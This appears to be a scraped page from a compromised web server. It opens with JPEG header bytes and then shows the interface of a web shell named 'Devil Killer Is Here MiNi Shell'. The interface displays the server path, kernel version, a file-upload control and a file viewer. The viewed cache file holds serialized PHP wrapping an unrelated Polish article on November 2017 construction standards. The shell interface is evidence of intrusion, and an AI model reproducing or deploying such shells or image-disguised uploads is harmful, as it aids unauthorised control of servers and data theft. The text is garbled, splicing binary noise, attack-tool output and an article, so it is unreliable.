JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/4b/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/runtime/cache/4b/4b867ced9a1f044928bbd1d7c50e576a.bin

a:2:{i:0;a:2:{i:0;s:43892:" 
                    
                    <h3 class="title" itemprop="headline">Polskie Normy dotyczące branży budowlanej - listopad 2017</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 01-12-2017, 00:00</strong>
                        <meta itemprop="dateModified" content=" 01-12-2017, 00:00"/>
                        <div class="hide" itemprop="description">
	Zestawienie Polskich Norm dotyczących branży budowlanej - listopad 2017</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="budowa.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.budowa.org/images/loga/budowa.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/53411/crop/800x600/eec4448557-529308001571973326.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.budowa.org/artykuly/szczegoly/53411"/>
                        
                                        </p>

                    <div class="lorem">
                        <h3 style="text-align:center;">
	<span style="color:rgb(0,51,51);">Zestawienie Polskich Norm dotyczących branży budowlanej</span></h3>
<h3 style="text-align:center;">
	<span style="color:rgb(0,51,51);">- listopad 2017</span></h3>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 124-3:2015-07 - wersja polska</strong></span></h4>
<p>
	<strong>Data publikacji:</strong> 17-11-2017</p>
<p>
	Zwieńczenia wpustów ściekowych i studzienek włazowych do nawierzchni dla ruchu pieszego i kołowego -- Część 3: Zwieńczenia wpustów ściekowych i studzienek włazowych wykonane ze stali lub stopów aluminium</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza Norma Europejska ma zastosowanie do zwieńczeń wpustów ściekowych oraz zwieńczeń studzienek włazowych wykonanych ze stali miękkiej, stali odpornej na korozję i stopów aluminium, także w połączeniu z betonem, o wolnym prześwicie do 1 000 mm włącznie, stosowanych do przykrywania wpustów ściekowych, studzienek włazowych, studzienek inspekcyjnych przeznaczonych do instalowania w obszarach narażonych na ruch pieszy i/lub kołowy.</p>
<p>
	Odniesiono się w niej do zwieńczeń studzienek włazowych oraz zwieńczeń wpustów ściekowych mających zastosowanie w:<br />
	— obszarach przeznaczonych wyłącznie dla pieszych i rowerzystów (przynajmniej klasa A 15),<br />
	— obszarach dla pieszych i obszarach równorzędnych, na parkingach lub terenach do parkowania samochodów osobowych (przynajmniej klasa B 125),<br />
	— obszarze usytuowanym przy krawężnikach, mierzonym od krawędzi krawężnika, rozciągającym się maksymalnie do 0,5 m od toru ruchu i maksymalnie do 0,2 m od obszarów dla pieszych (przynajmniej klasa C 250),<br />
	— jezdniach dróg (również ulicach dla pieszych), utwardzonych poboczach oraz obszarach parkingowych dla wszystkich rodzajów pojazdów drogowych (przynajmniej klasa D 400),<br />
	— obszarach poddanych dużym naciskom kół, np. rampy, pasy startowe (przynajmniej klasa E 600),<br />
	— obszarach poddanych szczególnie dużym naciskom kół, np. pasy startowe (klasa F 900).</p>
<p>
	Niniejsza Norma Europejska nie może być stosowana odrębnie, lecz wyłącznie w połączeniu<br />
	z EN 124-1; podano w niej wytyczne dotyczące łączenia pokryw/krat wykonanych ze stali lub stopów aluminium z korpusami wg EN 124-2 i EN 124-4, EN 124-5 lub EN 124-6.</p>
<p>
	Fabrykacja zwieńczeń studzienek włazowych i zwieńczeń wpustów ściekowych zgodnie z niniejszą normą jest ograniczona do obróbki plastycznej na zimno, mechanicznego zaciskania lub spawania ze sobą części składowych wykonanych z blach, taśm lub prętów bądź walcowanych lub wyciskanych kształtowników metalowych.</p>
<p>
	Niniejsza Norma Europejska nie ma zastosowania do:<br />
	— zwieńczeń studzienek włazowych i zwieńczeń wpustów ściekowych wykonanych z aluminiowych płyt żeberkowych stosowanych w jezdniach dróg (klasa D 400) i obszarach poddanych dużym naciskom kół (klasa E 600 i F 900);<br />
	— krat wklęsłych dla klasy D 400 instalowanych w jezdniach dróg lub na utwardzonych poboczach i krat wklęsłych dla klasy F 900 i E 600;<br />
	— krat/pokryw będących częścią prefabrykowanych kanałów odwadniających wg EN 1433;<br />
	— wpustów podłogowych i dachowych w budynkach wyszczególnionych w EN 1253 (wszystkie części); i<br />
	— skrzynek powierzchniowych.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 12440:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>23-11-2017</p>
<p>
	Kamień naturalny -- Kryteria mianownictwa</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza Norma Europejska ustanawia kryteria mianownictwa dla kamienia naturalnego w zakresie surowca do produktów gotowych.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 12604:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>06-11-2017</p>
<p>
	Bramy -- Aspekty mechaniczne -- Wymagania i metody badań</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania mechaniczne i metody badań dotyczące uruchamianych ręcznie bram i barier przeznaczonych do instalowania na obszarach znajdujących się w zasięgu ludzi, i których głównym zamierzonym zastosowaniem jest stworzenie bezpiecznego dostępu dla towarów i pojazdów wraz z towarzyszącymi im lub kierującymi nimi osobami w obiektach przemysłowych, handlowych i mieszkalnych.</p>
<p>
	W niniejszej Normie Europejskiej uwzględniono również uruchamiane ręcznie bramy handlowe poruszające się pionowo, takie jak bramy zwijane żaluzjowe i kraty zwijane, stosowane w lokalach handlu detalicznego i przewidziane głównie do ochrony towarów.</p>
<p>
	Niniejszy dokument ma zastosowanie tylko do bram, które nie są częścią struktury nośnej budynku.</p>
<p>
	Norma nie ma zastosowania do:<br />
	— bram do śluz i doków,<br />
	— drzwi do pojazdów,<br />
	— drzwi przeznaczonych głównie dla zwierząt, chyba że są one na obwodzie terenu,<br />
	— drzwi przeznaczonych do ruchu pieszego,<br />
	— szlabanów kolejowych.</p>
<p>
	Gdziekolwiek w niniejszym dokumencie użyty jest termin “brama”, należy pod nim rozumieć pełen zakres typów i odmian bram i barier objętych zakresem niniejszej normy.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 13588:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>23-11-2017</p>
<p>
	Asfalty i lepiszcza asfaltowe -- Oznaczanie kohezji lepiszczy asfaltowych metodą testu wahadłowego</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono metodę pomiaru kohezji lepiszczy asfaltowych w zakresie temperatury od (+ 10 ºC) do (+ 70 ºC) oraz wyrażania zależności między kohezją i temperaturą.</p>
<p>
	W przypadku upłynnionych i fluksowanych lepiszczy asfaltowych oraz emulsji asfaltowych, badane lepiszcze może pochodzić z określonej metody destylacji bądź procedury odzyskiwania i/lub stabilizacji.</p>
<p>
	Metoda ta może być również stosowana do lepiszczy, które zostały poddane określonej procedurze starzenia.</p>
<p>
	OSTRZEŻENIE – Stosowanie niniejszej Normy Europejskiej może być związane z użyciem niebezpiecznych materiałów i wyposażenia oraz wykonywaniem niebezpiecznych czynności. W niniejszej Normie Europejskiej nie zostały ujęte wszystkie zagadnienia związane z bezpieczeństwem jej stosowania. Użytkownik niniejszej Normy Europejskiej ponosi odpowiedzialność za zapewnienie odpowiedniego poziomu bezpieczeństwa i ochrony zdrowia podczas pracy oraz za sprawdzenie, przed zastosowaniem normy, dotrzymania ograniczeń regulowanych tymi przepisami.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 13639:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>06-11-2017</p>
<p>
	Oznaczanie całkowitej zawartości węgla organicznego w wapieniu</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono metody oznaczania całkowitej zawartości węgla organicznego (TOC) w wapieniu.</p>
<p>
	UWAGA Metoda ta dotyczy oznaczania TOC &lt; 1%.</p>
<p>
	W normie opisano metodę wzorcową i alternatywną, które uważane są za równoważne.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 14157:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji:</strong> 09-11-2017</p>
<p>
	Metody badań kamienia naturalnego -- Oznaczanie odporności na ścieranie</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza Norma Europejska określa dwie metody badań mające na celu oznaczanie odporności na ścieranie kamieni naturalnych wykorzystywanych do wykonywania posadzek w budynkach.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 14179-1:2016-09 - wersja polska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>08-11-2017</p>
<p>
	Szkło w budownictwie -- Termicznie wygrzewane hartowane bezpieczne szkło sodowo-wapniowo-krzemianowe -- Część 1: Definicja i opis</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono system procesu wygrzewania termicznego wraz z tolerancjami, płaskością, wykończeniem obrzeży, siatką spękań i fizycznymi oraz mechanicznymi właściwościami monolitycznego płaskiego termicznie wygrzewanego hartowanego bezpiecznego szkła sodowo-wapniowo-krzemianowego do stosowania w budownictwie.</p>
<p>
	Gięte termicznie wygrzewane hartowane bezpieczne szkło sodowo-wapniowo-krzemianowe nie jest częścią niniejszej Normy Europejskiej.</p>
<p>
	Inne wymagania, nie określone w niniejszej Normie Europejskiej, mogą odnosić się do termicznie wygrzewanego hartowanego bezpiecznego szkła sodowo-wapniowo-krzemianowego wchodzącego w skład zestawów, np. szkła warstwowego lub szyb zespolonych, albo poddanego dodatkowej obróbce, np. powlekaniu. Dodatkowe wymagania określono w odpowiednich normach dotyczących danego wyrobu. W tym przypadku, termicznie wygrzewane hartowane bezpieczne szkło sodowo-wapniowo-krzemianowe nie traci swoich właściwości wytrzymałości na zginanie i odporności na różnice temperatur.</p>
<p>
	Szkła o obrobionej powierzchni (np. piaskowane, trawione kwasem) po hartowaniu nie zostały uwzględnione w niniejszej Normie Europejskiej.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 14306:2016-04 - wersja polska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>09-11-2017</p>
<p>
	Wyroby do izolacji cieplnej wyposażenia budynków i instalacji przemysłowych -- Wyroby silikatowe (CS) produkowane fabrycznie -- Specyfikacja</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dotyczące wyrobów silikatowych produkowanych fabrycznie, stosowanych do izolacji cieplnej wyposażenia budynków i instalacji przemysłowych w zakresie temperatury stosowania od około - 170 °C do + 1 100 °C.</p>
<p>
	Wyroby silikatowe można stosować w temperaturze poniżej - 50 °C. Poniżej temperatury stosowania - 50 °C zaleca się specjalne badania przydatności wyrobu do zamierzonego zastosowania (np. skraplanie tlenu). We wszystkich przypadkach zaleca się wzięcie pod uwagę porad producenta.</p>
<p>
	Wyroby wytwarza się w postaci płyt, otulin, segmentów i wyrobów prefabrykowanych.</p>
<p>
	W niniejszej Normie Europejskiej opisano charakterystyki wyrobu i podano procedury badania, oceny zgodności, znakowania i etykietowania.</p>
<p>
	Wyroby, których dotyczy niniejsza Norma Europejska, stosuje się także w prefabrykowanych systemach izolacji cieplnej i płytach warstwowych; konstrukcyjne właściwości użytkowe systemów zawierających te wyroby nie mieszczą się w zakresie niniejszej normy.</p>
<p>
	W niniejszej Normie Europejskiej nie określono wymaganego poziomu ani klasy danej właściwości, jakie wyrób powinien osiągnąć, aby wykazał przydatność do określonego zastosowania. Wymagane poziomy w odniesieniu do danego zastosowania można znaleźć w przepisach lub zapytaniach ofertowych.</p>
<p>
	Wyroby o deklarowanym współczynniku przewodzenia ciepła, w temperaturze 10 °C, większym niż 0,6 W/(m·K) nie mieszczą się w zakresie niniejszej normy.</p>
<p>
	W niniejszej Normie Europejskiej nie uwzględniono wyrobów przeznaczonych do izolacji konstrukcji budowli.</p>
<p>
	W niniejszej Normie Europejskiej nie uwzględniono następujących aspektów akustycznych: izolacji od bezpośrednich dźwięków powietrznych i wskaźnika transmisji hałasu uderzeniowego.</p>
<div>
	<span> </span></div>
<p>
	<strong style="color:rgb(255,140,0);">PN-EN 14307:2016-04 - wersja polska</strong></p>
<p>
	<strong>Data publikacji: </strong>30-11-2017</p>
<p>
	Wyroby do izolacji cieplnej wyposażenia budynków i instalacji przemysłowych -- Wyroby z polistyrenu ekstrudowanego (XPS) produkowane fabrycznie -- Specyfikacja</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dotyczące wyrobów z pianki z polistyrenu ekstrudowanego produkowanych fabrycznie, stosowanych do izolacji cieplnej wyposażenia budynków i instalacji przemysłowych w zakresie temperatury stosowania od około - 180 °C do + 75 °C.</p>
<p>
	Poniżej temperatury stosowania - 50 °C są zalecane specjalne badania dotyczące odpowiedniości wyrobu do zamierzonego zastosowania (np. skraplanie tlenu). We wszystkich przypadkach zaleca się wzięcie pod uwagę porad producenta.</p>
<p>
	Wyroby są wytwarzane w postaci płyt z okładzinami lub bez nich, otulin, segmentów i wyrobów prefabrykowanych.</p>
<p>
	W niniejszej Normie Europejskiej opisano charakterystyki wyrobu i podano procedury badania, oceny zgodności, znakowania i etykietowania.</p>
<p>
	Wyroby, których dotyczy niniejsza Norma Europejska, są stosowane także w prefabrykowanych systemach izolacji cieplnej i płytach warstwowych; właściwości użytkowe systemów zawierających te wyroby nie mieszczą się w zakresie niniejszej normy.</p>
<p>
	W niniejszej Normie Europejskiej nie określono wymaganego poziomu danej właściwości, jaki powinien być osiągnięty, aby wyrób wykazał przydatność do określonego zastosowania. Wymagane poziomy do danego zastosowania możnaznaleźć w przepisach lub zapytaniach ofertowych.</p>
<p>
	Wyroby o deklarowanym współczynniku przewodzenia ciepła w temperaturze 10 °C większym niż 0,060 W/(m·K) nie mieszczą się w zakresie niniejszej normy.</p>
<p>
	Niniejsza Norma Europejska nie obejmuje wyrobów izolacyjnych przeznaczonych do izolacji konstrukcji budowli, ani do izolacji akustycznej.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 1538+A1:2015-08 - wersja polska</strong></span></h4>
<p>
	<strong>Data publikacji:</strong> 28-11-2017</p>
<p>
	Wykonawstwo specjalnych robót geotechnicznych -- Ściany szczelinowe</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono zasady wykonywania ścian szczelinowych, zarówno oporowych, jak i przegród przeciwfiltracyjnych.</p>
<p>
	UWAGA 1 W niniejszej normie odniesiono się jedynie do konstrukcji ścian o grubości B ≥ 40 cm, wykonanych w szczelinie z zastosowaniem cieczy stabilizującej lub na sucho, w których usunięty grunt zastępuje się betonem lub zawiesiną.</p>
<p>
	UWAGA 2 Ściany szczelinowe mogą stanowić konstrukcje trwałe lub tymczasowe.</p>
<p>
	UWAGA 3 Rozpatrywane są następujące rodzaje konstrukcji:<br />
	a) ściany oporowe: na ogół wykonywane w celu obudowy wykopu w gruncie. Obejmują one:<br />
	1) ściany szczelinowe betonowane w gruncie;<br />
	2) ściany szczelinowe betonowe prefabrykowane;<br />
	3) przegrody z zawiesiny zbrojonej;<br />
	b) przegrody przeciwfiltracyjne: na ogół wykonywane w celu zapobiegania przenikaniu wody gruntowej, czystej lub zanieczyszczonej, albo innych cieczy występujących w gruncie. Obejmują one:<br />
	1) przegrody formowane jednofazowo z zawiesiny (ewentualnie z przeponami lub ścianką z grodzic),<br />
	2) ściany z betonu „plastycznego”.</p>
<p>
	UWAGA 4 Ściany formowane w płytkich pionowych wykopach (zazwyczaj wykopy o stosunku głębokości do szerokości D/B &lt; 5 lub D &lt; 5 m) nie są objęte niniejszą normą.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 15643-5:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>28-11-2017</p>
<p>
	Zrównoważoność obiektów budowlanych -- Ocena zrównoważoności budynków i obiektów inżynierii lądowej -- Część 5: Szczególne zasady i wymagania dla obiektów inżynierii lądowej</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej podano szczegółowe zasady i wymagania dotyczące oceny środowiskowych, socjalnych i ekonomicznych właściwości użytkowych obiektów inżynierii lądowej, z uwzględnieniem ich charakterystyk technicznych i funkcjonalności. Oceny środowiskowych, socjalnych i ekonomicznych właściwości użytkowych są trzema aspektami oceny zrównoważoności obiektów inżynierii lądowej.</p>
<p>
	Zasady stosuje się do wszystkich typów obiektów inżynierii lądowej, zarówno nowych, jak i istniejących, co jest istotne do oceny środowiskowych, socjalnych i ekonomicznych właściwości użytkowych nowych obiektów inżynierii lądowej przez ich cały cykl życia, a także istniejących obiektów inżynierii lądowej przez ich pozostały czasie eksploatacji i koniec etapu życia.</p>
<p>
	Ocena zrównoważoności właściwości użytkowych obiektów inżynierii lądowej koncentruje się na ocenie aspektów i oddziaływania obiektów inżynierii lądowej wyrażonych wymiernymi wskaźnikami. Obejmuje ona ocenę wpływu obiektów inżynierii lądowej na oddziaływania środowiskowe, socjalne i ekonomiczne oraz aspekty poza lokalną infrastrukturą obiektów inżynierii lądowej oraz środowiskowe oddziaływania i aspekty wynikające z przenoszenia użytkowników obiektów inżynierii lądowej oraz stosowanie i eksploatację samej infrastruktury.</p>
<p>
	Nie ujęto oceny ryzyka środowiskowego, socjalnego i ekonomicznego, ale wyniki oceny ryzyka należy uwzględniać.</p>
<p>
	Normy Europejskie opracowane w ramach tych zasad nie ustalają reguł, w jaki sposób różne metodyki oceny mogą zapewnić metody wyceny; ani nie nakazują poziomów, klas lub poziomów odniesienia dla pomiarowych właściwości użytkowych.</p>
<p>
	UWAGA Metody wyceny, poziomy, klasy lub poziomy odniesienia można określać w wymaganiach dotyczących środowiskowych, socjalnych i ekonomicznych właściwości użytkowych w opiniach klientów, przepisach budowlanych, normach krajowych, krajowych kodeksach praktyk, ocenach i sposobach certyfikacji obiektów inżynierii lądowej, itp.</p>
<p>
	W niniejszych zasadach nie ujęto reguł oceny aspektów środowiskowych, socjalnych i ekonomicznych przez takie struktury jak systemy zarządzania. Uwzględniono jednak konsekwencje decyzji lub działań, które mają wpływ na środowiskowe, socjalne i ekonomiczne właściwości użytkowe.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 16516:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>06-11-2017</p>
<p>
	Wyroby budowlane: Ocena uwalniania substancji niebezpiecznych -- Oznaczanie emisji do powietrza wnętrz</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej podano horyzontalną referencyjną metodę oznaczania emisji regulowanych niebezpiecznych substancji z wyrobów budowlanych do powietrza wnętrz. Metoda ma zastosowanie do lotnych związków organicznych, średnio lotnych związków organicznych i bardzo lotnych aldehydów. Jest ona oparta na zastosowaniu komory badawczej i późniejszej analizie związków organicznych za pomocą GC-MS lub HPLC.</p>
<p>
	UWAGA 1 Dodatkowo podano informacje o pośrednich metodach badawczych (patrz Załącznik B) i o oznaczaniu bardzo lotnych związków organicznych (patrz Załącznik C).</p>
<p>
	UWAGA 2 Niniejsza Norma Europejska podaje ogólną procedurę i wykorzystuje istniejące normy głównie za pomocą odniesień normatywnych, uzupełnionych, tam gdzie to konieczne dodatkowymi lub zmodyfikowanymi wymaganiami normatywnymi.<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN 60695-11-2:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>28-11-2017</p>
<p>
	Badanie zagrożenia ogniowego -- Część 11-2: Płomienie probiercze -- Znamionowy płomień probierczy mieszankowy 1 kW -- Urządzenia, układ do próby sprawdzającej i wytyczne</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części IEC 60695 podano wymagania dotyczące wytworzenia i sprawdzenia znamionowego płomienia probierczego 1 kW typu mieszankowego propan/powietrze stosowanego przy badaniu zagrożenia ogniowego.</p>
<p>
	Niniejsza podstawowa publikacja bezpieczeństwa jest przeznaczona do stosowania przez komitety techniczne przy opracowywaniu norm zgodnie z zasadami ustanowionymi w Przewodniku IEC 104 i w Przewodniku ISO/IEC 51.</p>
<p>
	Komitety techniczne są odpowiedzialne między innymi za stosowanie, tam gdzie jest to uzasadnione, podstawowych publikacji bezpieczeństwa przy opracowywaniu swoich publikacji.</p>
<p>
	Wymagania, metody badań lub warunki badań podane w niniejszej podstawowej publikacji bezpieczeństwa nie będą miały zastosowania, dopóki nie zostaną wyraźnie powołane lub włączone do odpowiednich publikacji.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 10848-1:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>28-11-2017</p>
<p>
	Akustyka -- Pomiary laboratoryjne przenoszenia bocznego dźwięków powietrznych, uderzeniowych i od wyposażenia technicznego budynków pomiędzy przylegającymi komorami -- Część 1: Dokument ramowy</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	ISO 10848 (wszystkie części) podaje metody pomiarów w celu scharakteryzowania przenoszenia bocznego co najmniej przez jeden lub kilka elementów budowlanych.</p>
<p>
	Pomiary te stosuje się w badaniach laboratoryjnych lub w terenie.</p>
<p>
	Właściwości elementów budowlanych wyrażono albo jako jedną wartość dla kombinacji elementów i złącza (jako boczna znormalizowana różnica poziomów i/lub boczny znormalizowany poziom uderzeniowy) lub jako wskaźnik redukcji drgań złącza lub uśredniona po kierunku różnica poziomów prędkości złącza.</p>
<p>
	Stosuje się dwie metody dla materiałowych źródeł dźwięku, boczna znormalizowana różnica poziomów oraz funkcję przeniesienia, która ma zastosowanie do określania poziomów ciśnienia akustycznego w komorze odbiorczej, spowodowanych pobudzeniem materiałowym przez wyposażenie techniczne w komorze nadawczej. Pierwsza metoda zakładała, że przenoszenie boczne ograniczone jest do jednego złącza (lub bez złącza, jeżeli element podtrzymujący wyposażenie jest elementem oddzielającym) oraz druga metoda rozważa połączenie dróg bezpośredniej (jeżeli istnieje) i przenoszenia bocznego.</p>
<p>
	Niniejszy dokument zawiera definicje, wymagania ogólne dotyczące badanych próbek i komór badawczych oraz metod pomiarów. Podano wybór wielkości, które będą mierzone w zależności od złącza i rodzajów występujących elementów. W innych częściach ISO 10848 określono zastosowanie w zależności od różnych typów złączy i elementów budowlanych.</p>
<p>
	Wielkości charakteryzujące przenoszenie boczne można użyć do porównania różnych typów produktów, lub do przedstawienia wymagań, lub jako dane wejściowe w metodach prognozowania, takich jak podano w ISO 12354-1 i ISO 12354-2.</p>
<div>
	<span> </span></div>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 10848-2:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>28-11-2017</p>
<p>
	Akustyka -- Pomiary laboratoryjne przenoszenia bocznego dźwięków powietrznych, uderzeniowych i od wyposażenia technicznego budynków pomiędzy przylegającymi komorami -- Część 2: Przypadek elementów typu B, kiedy złącze ma mały wpływ</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
